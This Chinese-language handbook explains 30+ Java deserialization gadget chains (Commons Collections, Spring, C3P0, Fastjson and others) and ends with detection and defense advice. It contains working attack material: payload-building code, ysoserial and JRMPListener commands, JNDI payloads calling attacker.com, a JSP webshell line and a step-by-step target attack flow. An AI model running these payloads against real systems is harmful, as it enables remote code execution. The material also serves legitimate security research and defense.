🔓 Java 反序列化 Gadget 链完全手册

30+ 条 Gadget 链的深度剖析:原理 · 调用链路 · 源码分析 · 利用场景 · 防御绕过
适用版本:JDK 6u17 ~ JDK 21 · 覆盖框架:Commons Collections / Spring / Hibernate / ROME / Groovy / Fastjson …

📖 阅读指引

⚠️ 免责声明:本文仅用于授权安全测试、安全研究与教育目的。未经授权对他人系统进行反序列化攻击属于违法行为。作者与平台不承担任何因滥用本文内容导致的法律责任。

Java 反序列化漏洞自 2015 年 FoxGlove Security 的 经典文章 披露以来,已成为 Java 生态中最具影响力的安全漏洞类型之一。Gadget 链(又称利用链 / POP 链)是反序列化攻击的核心——攻击者在目标 ClassPath 中找到一系列可被串联利用的类与方法调用,最终将反序列化操作导向命令执行、代码加载或文件写入等危险操作。

本文以 ysoserial 项目为基准,结合 marshalsecJNDI-Injection-Exploit 等工具链,系统性地剖析目前已知的 30+ 条 Java 反序列化 Gadget 链。

1. Java 序列化基础

1.1 序列化与反序列化流程

┌──────────────┐ writeObject() ┌──────────────┐ │ Java Object │ ──────────────────► │ byte[] / IO │ │ (内存中) │ │ (持久化/传输) │ └──────────────┘ └──────┬───────┘ ▲ │ │ readObject() │ └───────────────────────────────────┘
阶段关键方法说明
序列化入口ObjectOutputStream.writeObject(obj)将对象写入流
自定义序列化writeReplace() / writeObject()对象可自定义序列化行为
反序列化入口ObjectInputStream.readObject()从流中恢复对象
自定义反序列化readObject() / readResolve()大多数 Gadget 的触发点
校验机制ObjectInputFilter (JDK 9+)反序列化过滤器

魔数识别

二进制: AC ED 00 05              (Java 序列化流头部)
Base64:  rO0AB...                 (常见于 HTTP Cookie / POST Body)
Hex:     aced0005                 (Wireshark / Burp 中识别)

1.2 危险方法地图(Magic Methods)

反序列化攻击之所以强大,是因为 Java 在反序列化过程中会自动调用以下方法:

方法调用时机被利用的典型链
readObject()反序列化入口HashMap、HashSet、BadAttributeValueExpException
hashCode()存入 HashMap / HashSet 时CC6 (TiedMapEntry)、URLDNS
equals()HashMap 键比较 / HashSet 去重CC7、ROME
compare()PriorityQueue 排序 / TreeMapCC2 / CC4
toString()字符串拼接、日志输出等CC5、ROME
finalize()GC 回收时(不可靠)少数利用场景
readObjectNoData()类层级不匹配时边缘场景
readExternal()Externalizable 接口特定库

2. Gadget 链核心概念

2.1 什么是 Gadget 链?

Gadget(小装置/小工具)链指在目标应用 ClassPath 中存在的一系列类,这些类的方法调用可以被精心编排,形成一条从 readObject() 到危险操作(如 Runtime.exec())的可控调用链

readObject() │ ▼ hashCode() / equals() / compare() ← 自动触发入口 │ ▼ get() / put() / invoke() ← 反射/代理中间层 │ ▼ transform() / invoke() ← 转换器/调用器 │ ▼ Runtime.exec() / newInstance() ← 最终危险操作

链的三个核心要素

  1. 入口 (Entry Point):实现了 readObject() 的类,反序列化时会自动执行其 readObject(),并在其中调用 hashCode / equals / compare 等
  2. 跳板 (Gadget):中间传导类,通过反射、动态代理、方法调用将控制流传向下一个节点
  3. Sink (汇点):最终执行危险操作的类,如 Runtime.exec()Class.newInstance()Method.invoke()

2.2 Sink 分类

Sink 类型典型类效果代表链
命令执行Runtime.getRuntime().exec()直接执行系统命令CC1-CC7、Jdk7u21
字节码加载TemplatesImpl.newTransformer()加载自定义 bytecode (ClassLoader)CC3、Spring1、ROME
JNDI 注入InitialContext.lookup()远程加载对象(LDAP/RMI)C3P0、Fastjson
SpEL / EL 表达式ExpressionParser.parseExpression()执行表达式Spring2、MyFaces
脚本引擎ScriptEngine.eval()执行脚本代码BeanShell1、Groovy1
文件写入FileOutputStream.write()写入任意文件FileUpload1、AspectJWeaver
DNS/URL 探测URL.hashCode()DNS 外带(无 RCE)URLDNS

3. 关键基础类深度解析

3.1 ChainedTransformer(CC 核心)

来自 org.apache.commons.collections.functors.ChainedTransformer,将多个 Transformer 串联执行,上一个输出作为下一个输入。

public class ChainedTransformer implements Transformer {
    private final Transformer[] iTransformers;
    public Object transform(Object object) {
        for (Transformer t : iTransformers) {
            object = t.transform(object);  // 链式调用
        }
        return object;
    }
}

3.2 InvokerTransformer(反射调用器)

public class InvokerTransformer implements Transformer {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);  // ← 任意方法反射调用!
    }
}

关键点:通过控制 iMethodNameiParamTypesiArgs,可以调用任意对象的任意方法。

3.3 ConstantTransformer + InvokerTransformer 组合

这是 ysoserial CC 系列最经典的组合模式:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),               // 1. 返回 Runtime.class
    new InvokerTransformer("getMethod", ...),             // 2. 反射获取 getRuntime 方法
    new InvokerTransformer("invoke", ...),                // 3. invoke 获取 Runtime 实例
    new InvokerTransformer("exec", ...)                   // 4. 调用 exec 执行命令
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform("anything"); // → Runtime.getRuntime().exec("cmd")

3.4 LazyMap(懒加载 Map)

当调用 LazyMap.get(key) 且 key 不存在时,自动调用工厂 Transformer 的 transform() 生成值。这是 CC 系列最常用的跳板。

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("non-existent-key"); // → triggers transform()!

3.5 TiedMapEntry

它是一个 Map.Entry 包装器:

因此,只要让任何对象的 hashCode/equals/toString 被调用,且它引用了 TiedMapEntry,而 TiedMapEntry 的 map 是 LazyMap,就能触发整条链。

3.6 AnnotationInvocationHandler

JDK 动态代理的核心,它的 invoke() 方法会调用 memberValues.get() —— 如果 memberValues 是 LazyMap,这就触发了 LazyMap.get()。

// 创建一个被 LazyMap 代理的 Annotation 动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(
    classLoader, new Class[]{Map.class},
    new AnnotationInvocationHandler(Override.class, lazyMap)
);

3.7 TemplatesImpl(字节码加载 Sink)

来自 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,其 newTransformer() / getOutputProperties() 方法内部会调用 defineTransletClasses(),进而调用 ClassLoader.defineClass() 加载 _bytecodes 字段中的字节码。

// 关键字段
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][]{evilBytes});  // 恶意类字节码
setFieldValue(tmpl, "_name", "Pwn");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
tmpl.newTransformer();  // → 加载并执行 evilBytes

前置条件:恶意类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

Commons Collections 系列

📦 依赖commons-collections:commons-collections:3.1 / org.apache.commons:commons-collections4:4.0
JDK 兼容:CC1/CC3/CC5/CC6/CC7 适用于 CC 3.x (JDK < 8u71);CC2/CC4 适用于 CC 4.x
通用性:CC6 是目前最通用的链——不依赖 JDK 版本,适用 CC 3.x 全版本

🔗 CC1 — AnnotationInvocationHandler + LazyMap CC 3.xJDK < 8u71

调用链路

ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
    → proxyMap.entrySet()           [动态代理触发 invoke()]
      → AnnotationInvocationHandler.invoke()
        → LazyMap.get()              [memberValues.get()]
          → ChainedTransformer.transform()
            → ConstantTransformer.transform()   [返回 Runtime.class]
            → InvokerTransformer.transform()    [getMethod("getRuntime")]
            → InvokerTransformer.transform()    [invoke()]
            → InvokerTransformer.transform()    [exec("cmd")]

入口类:AnnotationInvocationHandler

private void readObject(ObjectInputStream s) throws ... {
    s.defaultReadObject();
    // ...
    for (Map.Entry<String, Object> member : memberValues.entrySet()) {
        // 这里触发 memberValues (LazyMap) 的 entrySet()
    }
}

关键限制

利用场景

场景适用性
旧版 WebLogic / WebSphere / JBoss✅ 极佳(JDK 6/7)
旧版 Jenkins < 2.46
现代 Spring Boot (JDK 11+)❌ JDK 版本限制

🔗 CC2 — PriorityQueue + TransformingComparator CC 4.x全版本

调用链路

ObjectInputStream.readObject()
  → PriorityQueue.readObject()
    → PriorityQueue.heapify()
      → PriorityQueue.siftDown()
        → PriorityQueue.siftDownUsingComparator()
          → TransformingComparator.compare()
            → InvokerTransformer.transform()
              → Runtime.exec()

核心差异

利用场景

适用于任何使用了 CC 4.x 且 JDK 较新的环境。很多现代应用升级了 commons-collections 到 4.x 却忽略了安全风险。

🔗 CC3 — TrAXFilter + TemplatesImpl(字节码加载)CC 3.xJDK < 8u71

调用链路

readObject()
  → AnnotationInvocationHandler.readObject()
    → LazyMap.get()
      → ChainedTransformer.transform()
        → InstantiateTransformer.transform(TrAXFilter.class)
          → TrAXFilter( TemplatesImpl )
            → TemplatesImpl.newTransformer()
              → defineTransletClasses()
                → ClassLoader.defineClass(evilBytes)  ← 加载恶意类!

核心创新

绕过价值

许多 WAF 和反序列化过滤器会检测 InvokerTransformer 类名;CC3 不需要 InvokerTransformer,只需 InstantiateTransformer + TrAXFilter。进一步,可以搭配 CC6 的入口(HashSet),实现 CC3+CC6 的融合链。

🔗 CC4 — PriorityQueue + ChainedTransformer (CC4 版) CC 4.x全版本

CC4 本质上是将 CC2 的入口(PriorityQueue)与 CC3 的 Sink(TrAXFilter + TemplatesImpl)组合,适用于 CC 4.x 环境。

PriorityQueue.readObject()
  → TransformingComparator.compare()
    → ChainedTransformer.transform()
      → InstantiateTransformer.transform()
        → TrAXFilter → TemplatesImpl.newTransformer() → 字节码加载

🔗 CC5 — BadAttributeValueExpException CC 3.x全版本

调用链路

ObjectInputStream.readObject()
  → BadAttributeValueExpException.readObject()
    → toString()                               [因为 valObj.toString()]
      → TiedMapEntry.toString()
        → TiedMapEntry.getValue()
          → LazyMap.get()
            → ChainedTransformer.transform()
              → Runtime.exec()

入口类分析

BadAttributeValueExpException 是 JMX 相关的类,它的 readObject() 中会调用 valObj.toString()。CC5 通过 TiedMapEntry 的 toString() 桥接到 LazyMap。

适用场景

当 CC1 因 JDK 版本失效时,CC5 是一个不错的替代方案。不需要 AnnotationInvocationHandler。

🔗 CC6 — HashSet + TiedMapEntry(最通用链)CC 3.x全版本🔥 最常用

调用链路

ObjectInputStream.readObject()
  → HashSet.readObject()
    → HashMap.put()
      → TiedMapEntry.hashCode()          [key 的 hashCode]
        → TiedMapEntry.getValue()
          → LazyMap.get()
            → ChainedTransformer.transform()
              → Runtime.exec()

为什么 CC6 是「万能链」?

构造技巧

// 关键:需要在序列化前让 LazyMap 的 key 已存在,避免构造时触发
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet set = new HashSet(1);
set.add(entry);
// 清除内部残留的 key,确保反序列化时重新触发
lazyMap.remove("foo");
// 序列化 set

🔗 CC7 — Hashtable 哈希碰撞 CC 3.x全版本

调用链路

ObjectInputStream.readObject()
  → Hashtable.readObject()
    → Hashtable.reconstitutionPut()
      → key.equals(entry.key)           [哈希碰撞触发]
        → TiedMapEntry.equals()
          → TiedMapEntry.getValue()
            → LazyMap.get()
              → ChainedTransformer.transform()
                → Runtime.exec()

核心技巧:构造哈希碰撞

CC7 的精妙之处在于利用 String 的 hashCode 碰撞:构造两个不同字符串 yyzZ(它们的 hashCode 相同),使 HashMap/Hashtable 在 rehash 时触发 equals() 比较。

"yy".hashCode() == "zZ".hashCode()  // → 都是 3872

JDK 原生系列

不依赖第三方库:JDK 原生链的最大优势是——只要目标运行在特定 JDK 版本,就不需要任何第三方依赖。这对攻防双方都极为重要。

🔗 Jdk7u21 — 最经典的 JDK 原生链 JDK 7u21-严重

调用链路

ObjectInputStream.readObject()
  → LinkedHashSet.readObject()
    → LinkedHashSet.add()
      → HashMap.put()
        → element.hashCode()        [AnnotationInvocationHandler 动态代理]
          → AnnotationInvocationHandler.invoke()
            → AnnotationInvocationHandler.equalsImpl()
              → memberValues.get()   [memberValues → 另一个 AnnotationInvocationHandler]
                → TemplatesImpl.getOutputProperties()
                  → newTransformer()
                    → defineTransletClasses()
                      → ClassLoader.defineClass(evilBytes)

核心机制:双层 AnnotationInvocationHandler

Jdk7u21 使用了两个 AnnotationInvocationHandler:

  1. 外层:代理了一个接口(如 Templates),其 memberValues 指向内层
  2. 内层:memberValues 是一个 HashMap,key 为 TemplatesImpl 对象

当 LinkedHashSet 的 add() 触发 hashCode → invoke → equalsImpl 时,内层 HashMap.get() 会调用 TemplatesImpl.hashCode(),而 TemplatesImpl 的 hashCode 是一个恶意实现(通过 javassist 修改),最终调用 getOutputProperties() 加载字节码。

局限性

🔗 Jdk8u20 — 继承关系绕过 JDK 8u20-

Jdk8u20 是一个更特殊的变体,利用了 Java 序列化中对父类字段处理的一个特性——当子类和父类存在同名字段时,反序列化过程可能忽略子类的字段声明而沿用父类。这使得攻击者可以绕过某些类型检查。

利用场景相对狭窄,需要目标环境中存在特定的类继承结构,但原理上非常有启发性。

🔗 URLDNS — 无危害检测探针 全版本仅 DNS 探测

调用链路

ObjectInputStream.readObject()
  → HashMap.readObject()
    → HashMap.putVal()
      → URL.hashCode()              [key 是 URL 对象]
        → URLStreamHandler.hashCode()
          → URLStreamHandler.getHostAddress()
            → InetAddress.getByName()   ← DNS 查询!

特点

使用场景

java -jar ysoserial.jar URLDNS "http://YOUR-DNSLOG-CE-ID.oastify.com" | base64

将 Base64 Payload 发送到目标后,观察 DNSLog 平台是否有 DNS 查询记录。有则说明反序列化点存在且可利用。

🔗 JRMPClient / JRMPListener 全版本JRMP

JRMP (Java Remote Method Protocol) 是 Java RMI 的底层协议。JRMPClient 链会让目标服务器主动连接攻击者控制的 JRMP Listener,然后攻击者通过 JRMP 协议发送恶意 Payload。

JRMPClient 链路

readObject()
  → Registry / UnicastRef / DGCClient
    → 建立到攻击者 JRMP Listener 的 TCP 连接
      → 攻击者返回恶意 Payload(二次反序列化)

使用方式

# 1. 攻击机启动 JRMP Listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc"

# 2. 向目标发送 JRMPClient Payload
java -jar ysoserial.jar JRMPClient "attacker-ip:1099" | base64

目标收到 Payload 后会反序列化 JRMPClient 对象,进而连接攻击者的 1099 端口,触发二次反序列化攻击。

Spring 系列

📦 依赖spring-corespring-beansspring-expressionspring-tx
攻击面:Spring 框架在 Java 生态中渗透率极高——几乎所有企业级应用都依赖它

🔗 Spring1 — MethodInvokeTypeProvider Spring全版本

调用链路

readObject()
  → DefaultListableBeanFactory / SerializableTypeWrapper
    → MethodInvokeTypeProvider.readObject()
      → ReflectionHelper.invokeMethod()
        → ObjectFactoryDelegatingInvocationHandler.invoke()
          → TemplatesImpl.newTransformer()
            → defineClass(evilBytes)

核心机制

利用 Spring 的 MethodInvokeTypeProvider 在反序列化时通过反射调用任意方法。搭配 JDK 动态代理 ObjectFactoryDelegatingInvocationHandler 桥接到 TemplatesImpl 实现字节码加载。

🔗 Spring2 — StaxEventItemWriter (SpEL) Spring Batch全版本

调用链路

readObject()
  → StaxEventItemWriter (Spring Batch)
    → SimpleExpressionEvaluator
      → SpEL Expression.getValue()
        → 任意代码执行

核心机制

利用 Spring Batch 的 StaxEventItemWriter 中存储的 SpEL 表达式。反序列化后会自动解析并执行 SpEL 表达式,而 SpEL 可以调用任意 Java 方法:

T(java.lang.Runtime).getRuntime().exec('calc')

🔗 Spring3 — Jackson + Spring Spring + Jackson

利用 Spring 对 Jackson 的默认配置,通过 DefaultTyping 特性触发反序列化。原理类似 Fastjson 的 @type 攻击,但通过 Jackson 的 enableDefaultTyping() 实现多态反序列化时的类型注入。

其他框架链

🔗 BeanShell1 — 脚本引擎执行 RCE

依赖org.beanshell:bsh:2.0b5

调用链路

readObject()
  → PriorityQueue.readObject()
    → PriorityQueue.siftDownUsingComparator()
      → Comparator.compare()
        → bsh.Interpreter 的方法
          → Interpreter.eval("恶意 BeanShell 脚本")
            → Runtime.exec()

核心机制

BeanShell 是一个轻量级 Java 脚本引擎。链通过 PriorityQueue 触发 Interpreter 的 eval() 方法执行任意 BeanShell 脚本(BeanShell 脚本可以直接调用 Java API)。

// 恶意 BeanShell 脚本示例
Runtime.getRuntime().exec("calc");

利用场景

任何引入了 BeanShell 依赖的应用(如某些规则引擎、动态脚本执行平台)。比较少见但一旦存在则可直接 RCE。

🔗 ROME — EqualsBean + ToStringBean RCE

依赖com.rometools:rome:1.0

调用链路

readObject()
  → HashMap.put()
    → ObjectBean.hashCode()
      → EqualsBean.beanHashCode()
        → ToStringBean.toString()
          → TemplatesImpl.getOutputProperties()
            → defineClass(evilBytes)    ← 字节码加载!

核心机制

ROME 是 RSS/Atom Feed 解析库。其 ObjectBean 的 hashCode 最终会调用到 ToStringBean.toString(),而 ToStringBean 的 toString 会调用传入对象的全部 getter 方法。TemplatesImpl 的 getOutputProperties() 正好是一个 getter。

特点

🔗 Hibernate1 / Hibernate2 RCE

依赖org.hibernate:hibernate-core

Hibernate1 调用链路

readObject()
  → HashMap.put()
    → TypedValue.hashCode()
      → ComponentType.getHashCode()
        → ComponentTuplizer (通过 AbstractComponentTuplizer)
          → PojoComponentTuplizer → getPropertyValues()
            → 调用 getter 方法(如 TemplatesImpl.getOutputProperties())

Hibernate2 调用链路

Hibernate2 利用了 Hibernate 5.x 中的不同路径,但整体思路类似——都是通过 ComponentTuplizer 触发 getter 调用链。

利用场景

任何使用 Hibernate ORM 的 Java Web 应用(如基于 Spring Data JPA 的应用)。覆盖面极广。

🔗 Groovy1 — ConvertedClosure + MethodClosure RCE

依赖org.codehaus.groovy:groovy

调用链路

readObject()
  → AnnotationInvocationHandler.invoke()
    → ConvertedClosure.invokeCustom()
      → MethodClosure.call()
        → ProcessGroovyMethods.execute()   ← 执行系统命令!

核心机制

Groovy 的 MethodClosure 包装了任意方法调用,ConvertedClosure 将其转换为动态代理可调用的形式。当 AnnotationInvocationHandler 触发动态代理时,最终链到 ProcessGroovyMethods.execute() 执行系统命令。

🔗 Clojure — PersistentArrayMap RCE

依赖org.clojure:clojure

Clojure 是 JVM 上的 Lisp 方言。该链利用了 Clojure 的 PersistentArrayMap 在反序列化时触发的 clojure.core$eval 调用,执行 Clojure 表达式。

;; Clojure 表达式可以调用 Java API
(. (Runtime/getRuntime) exec "calc")

🔗 Wicket1 — DiskFileItem + FileUpload 文件写入

依赖org.apache.wicket:wicket + commons-fileupload

调用链路

readObject()
  → DiskFileItem.readObject()
    → FileOutputStream.write()
      → 写入任意文件到磁盘!

核心机制

Wicket 的 DiskFileItem 在反序列化时会将存储的内容写入到 repository 路径下。攻击者可以控制写入路径和内容,实现任意文件写入

典型利用

# 写入 JSP Webshell
目标路径: /webapps/ROOT/shell.jsp
内容:    <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

🔗 FileUpload1 — 通用文件写入 文件写入🔥 常用

依赖commons-fileupload:commons-fileupload

类似 Wicket1,但只依赖 commons-fileupload,不需要 Wicket。利用 DiskFileItem 在反序列化时将内容写入任意路径。

🔗 C3P0 — JNDI 注入(多层) JNDI严重

依赖com.mchange:c3p0

三种利用方式

  1. JndiRefForwardingDataSource:直接 JNDI lookup → LDAP/RMI 远程加载
  2. WrapperConnectionPoolDataSource:通过 C3P0 的 connectionPoolDataSource 构造链,最终触发 JNDI
  3. Hex 编码字节码加载:利用 C3P0 内部的类加载机制直接加载 hex 编码的字节码(无需出网)

JNDI 配置示例

// 方式1:JndiRefForwardingDataSource
{"@class":"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
 "jndiName":"ldap://attacker.com:1389/EvilObject",
 "loginTimeout":0}

利用场景

C3P0 是 Java 生态中极为流行的数据库连接池(与 HikariCP、Druid 齐名)。大量应用使用 C3P0,使这条链的攻击面非常广。特别适合 Fastjson / Jackson 等 JSON 反序列化场景。

🔗 Click1 — Cayenne Column RCE

依赖org.apache.click:click + org.apache.cayenne:cayenne

利用 Apache Click(Web 框架)+ Apache Cayenne(ORM)的组合,通过 Cayenne 的 Column 表达式在反序列化时执行任意方法。

🔗 Jython1 — PyFunction RCE

依赖org.python:jython-standalone

Jython 是 Python 的 JVM 实现。该链利用 Jython 的 PyFunctionPyBytecode 在反序列化时执行任意 Python 代码。

# Python 代码可调用 Java
from java.lang import Runtime
Runtime.getRuntime().exec("calc")

🔗 MozillaRhino1 / Rhino2 RCE

依赖org.mozilla:rhino (JDK 7- 内置)

Mozilla Rhino 是 JVM 上的 JavaScript 引擎(JDK 8 之前内置)。链利用 NativeErrorScriptableObject 触发 JavaScript 代码执行。

// JavaScript 可调用 Java
java.lang.Runtime.getRuntime().exec('calc')

🔗 MyFaces1 / MyFaces2 — EL 表达式 RCE

依赖org.apache.myfaces.core:myfaces-impl

Apache MyFaces 是 JSF 实现。链利用 ValueExpressionMethodExpression 在反序列化时执行 EL 表达式。

// EL 表达式
#{Runtime.getRuntime().exec('calc')}

🔗 JBossInterceptors1 RCE

依赖:JBoss/WildFly 内置

利用 JBoss 的 MethodInvocation 拦截器机制,在反序列化时通过反射调用任意方法。

🔗 Vaadin1 — Nashorn RCE

依赖com.vaadin:vaadin-server + JDK 8 Nashorn

Vaadin 是 Java Web UI 框架。利用 Vaadin 内部的 Nashorn JavaScript 引擎执行恶意脚本。Nashorn 在 JDK 8 中内置,JDK 15+ 被移除。

🔗 AspectJWeaver — 任意文件写入 文件写入

依赖org.aspectj:aspectjweaver

AspectJ 是 AOP 框架。该链利用 AjcEditorSimpleCache 在反序列化时将数据写入任意文件路径,常用于写入 JSP Webshell 到 Web 目录。

利用场景

Spring Boot 应用常引入 AspectJ 做 AOP,这给了该链可乘之机。文件写入到 src/main/resources/static/ 或直接覆盖 class 文件。

补充链

🔗 CommonsBeanutils1 — PropertyUtils.getProperty() CCRCE

依赖commons-beanutils:commons-beanutils

调用链路

readObject()
  → PriorityQueue.readObject()
    → BeanComparator.compare()
      → PropertyUtils.getProperty()
        → TemplatesImpl.getOutputProperties()   ← 字节码加载!

核心机制

BeanComparator 在比较两个 Bean 时会调用 PropertyUtils.getProperty(),该方法通过反射获取 Bean 的 getter 方法。而 TemplatesImpl.getOutputProperties() 恰好是一个 getter。

优势

🔗 Fastjson / Jackson Gadget JNDI严重

虽然严格来说不属于 Java 原生反序列化,但 JSON 反序列化触发 JNDI 是近年最常见的攻击模式:

// Fastjson < 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://attacker.com:1389/EvilObject",
 "autoCommit":true}

// Jackson enableDefaultTyping()
["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/EvilObject",
  "autoCommit":true}]

利用场景

🔬 全量 Gadget 链对比矩阵

链名称 依赖库 JDK 兼容 入口类 Sink 类型 是否需要出网 RCE 实用性
CC1CC 3.x< 8u71AnnotationInvocationHandlerRuntime.exec⭐⭐⭐
CC2CC 4.x全版本PriorityQueueRuntime.exec⭐⭐⭐
CC3CC 3.x< 8u71AnnotationInvocationHandler字节码加载⭐⭐⭐⭐
CC4CC 4.x全版本PriorityQueue字节码加载⭐⭐⭐⭐
CC5CC 3.x全版本BadAttributeValueExpExceptionRuntime.exec⭐⭐⭐
CC6CC 3.x全版本HashSetRuntime.exec⭐⭐⭐⭐⭐
CC7CC 3.x全版本HashtableRuntime.exec⭐⭐⭐
Jdk7u21≤ 7u21LinkedHashSet字节码加载⭐⭐⭐
URLDNS全版本HashMapDNS 查询⭐⭐⭐⭐⭐
JRMPClient全版本UnicastRef二次反序列化⭐⭐⭐⭐
Spring1Spring全版本MethodInvokeTypeProvider字节码加载⭐⭐⭐⭐
Spring2Spring全版本StaxEventItemWriterSpEL 表达式⭐⭐⭐⭐
BeanShell1BeanShell全版本PriorityQueue脚本 eval⭐⭐
ROMEROME全版本HashMap字节码加载⭐⭐⭐⭐
Hibernate1Hibernate 4全版本HashMap字节码加载⭐⭐⭐
Hibernate2Hibernate 5全版本HashMap字节码加载⭐⭐⭐
Groovy1Groovy全版本AnnotationInvocationHandler命令执行⭐⭐
ClojureClojure全版本PersistentArrayMapClojure eval
C3P0 (JNDI)C3P0全版本JndiRefForwardingDataSourceJNDI 注入⭐⭐⭐⭐⭐
C3P0 (Hex)C3P0全版本WrapperConnectionPoolDataSource类加载⭐⭐⭐⭐
Wicket1Wicket + FileUpload全版本DiskFileItem文件写入⭐⭐⭐
FileUpload1FileUpload全版本DiskFileItem文件写入⭐⭐⭐⭐
AspectJWeaverAspectJ全版本AjcEditor文件写入⭐⭐⭐
CommonsBeanutils1BeanUtils全版本PriorityQueue字节码加载⭐⭐⭐⭐
Click1Click + Cayenne全版本Column表达式执行
Jython1Jython全版本PyFunctionPython eval
MozillaRhino1Rhino全版本NativeErrorJS eval⭐⭐
MyFaces1/2MyFaces全版本ValueExpressionEL 表达式⭐⭐
JBossInterceptors1JBoss全版本MethodInvocation方法调用⭐⭐
Vaadin1VaadinJDK 8NashornJS eval

🔍 检测与识别方法

1. 序列化数据识别特征

特征位置说明
AC ED 00 05二进制头部Java 序列化魔数
rO0ABBase64 开头魔数的 Base64 编码结果
aced0005Hex 开头魔数的十六进制表示
类名包含 InvokerTransformer序列化数据中CC 系列特征(可被混淆)
类名包含 TemplatesImpl序列化数据中字节码加载链特征
类名包含 ChainedTransformer序列化数据中CC 系列特征(可被混淆)
类名包含 Runtime序列化数据中命令执行特征(可被绕过)

2. 工具链检测

# ysoserial 生成测试 Payload
java -jar ysoserial.jar URLDNS "http://YOUR-DNSLOG.oastify.com" | base64

# Burp Suite 插件
- Java Deserialization Scanner
- Freddy (Deserialization Bug Finder)
- Java Serial Killer

# 静态检测
- 反编译目标 JAR/WAR,搜索危险类
- grep -r "InvokerTransformer\|TemplatesImpl\|ChainedTransformer" lib/

# 运行时检测 (RASP)
- 监控 ClassLoader.defineClass() 调用
- 监控 Runtime.exec() 调用栈
- 监控 JNDI lookup() 调用

3. 版本指纹关联

目标信息可能的可用链
CC 3.1 存在CC1/3/5/6/7
CC 4.0 存在CC2/4
Spring Framework 存在Spring1/2/3, CommonsBeanutils1
Hibernate 存在Hibernate1/2
C3P0 存在C3P0 (JNDI/Hex)
commons-fileupload 存在FileUpload1, Wicket1
commons-beanutils 存在CommonsBeanutils1
Fastjson 存在JdbcRowSetImpl JNDI
仅 JDK (无三方库)URLDNS, JRMP, Jdk7u21

🎯 利用场景矩阵

场景 1:WebLogic T3 协议

WebLogic 版本推荐链说明
10.3.6 (JDK 6)CC1经典组合,CC1 最稳定
12.1.3 (JDK 7)CC1 / Jdk7u21两个都可以
12.2.1.3+ (JDK 8)CC6 / CommonsBeanutils1CC1 失效,换 CC6

场景 2:JBoss / WildFly HTTP Invoker

版本推荐链
JBoss AS 6.x (JDK 6/7)CC1 / CC6 / Jdk7u21
JBoss EAP 7.x (JDK 8)CC6 / CommonsBeanutils1 / Spring1

场景 3:Jenkins

Jenkins 版本推荐链
< 2.46 (旧版)CC1 / CC3
2.46 - 2.175CC6 / CommonsBeanutils1
> 2.175URLDNS 探测 → 按 ClassPath 选择

场景 4:Fastjson / Jackson JSON 反序列化

条件推荐链
Fastjson < 1.2.24, 可出网JdbcRowSetImpl → JNDI
Fastjson 1.2.25-1.2.47AutoType 绕过 + JNDI
Jackson enableDefaultTypingTemplatesImpl / JNDI
不出网TemplatesImpl 字节码加载 / C3P0 Hex

场景 5:通用 Web 应用(未知框架)

标准攻击流程

  1. 发送 URLDNS Payload → 确认反序列化点存在(DNSLog 收到请求)
  2. 尝试 CC6 → 覆盖 CC 3.x 环境(最通用)
  3. 尝试 CC2/CC4 → 覆盖 CC 4.x 环境
  4. 尝试 CommonsBeanutils1 → 覆盖 beanutils 环境
  5. 尝试 JRMPClient → 二次反序列化,绕过黑名单
  6. 根据错误信息调整 → 查看 ClassNotFoundException 推断 ClassPath

🛡️ 纵深防御体系

第一层:序列化入口封堵

1.1 避免反序列化不可信数据

// ❌ 危险做法
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();

// ✅ 安全替代:使用 JSON / Protobuf
MyDTO obj = objectMapper.readValue(jsonString, MyDTO.class);

1.2 JDK 反序列化过滤器(JDK 9+ / 8u121+)

// JVM 级别全局过滤器
// 启动参数: -Djdk.serialFilter=!*
// 或编程设置:
ObjectInputFilter.Config.setSerialFilter(
    ObjectInputFilter.rejectFilter(clazz -> {
        return clazz != null && !clazz.getName().startsWith("com.myapp.");
    })
);

1.3 库级别防御

// Jackson: 禁用 DefaultTyping
objectMapper.disable(JsonTypeInfo.Id.CLASS);
objectMapper.deactivateDefaultTyping();

// Fastjson: 禁用 AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

第二层:运行时检测 (RASP / Agent)

检测点监控内容
Runtime.exec()调用栈中是否有 readObject / deserialize
ClassLoader.defineClass()来源是否为反序列化流
JNDI.lookup()URL 是否为外部地址
ProcessBuilder.start()进程创建是否来自非预期上下文

第三层:ClassPath 瘦身

第四层:网络隔离

第五层:监控告警

📚 参考与致谢

核心项目

经典论文与文章

修复参考

💡 总结:Java 反序列化 Gadget 链的本质是利用了 Java 生态中「方法调用自动触发」这一特性——readObject/hashCode/equals/compare/toString 等看似安全的方法,在精心编排下可以串联成任意代码执行链。理解每条链的 入口 → 跳板 → Sink 三要素,就能在实战中灵活组合、绕过防护。

记住:没有银弹。深度防御需要多层次的组合策略——入口封堵、运行时检测、ClassPath 管理、网络隔离、监控告警——缺一不可。

CyberStrikeAI · Java 反序列化 Gadget 链完全手册 · 仅供授权安全测试使用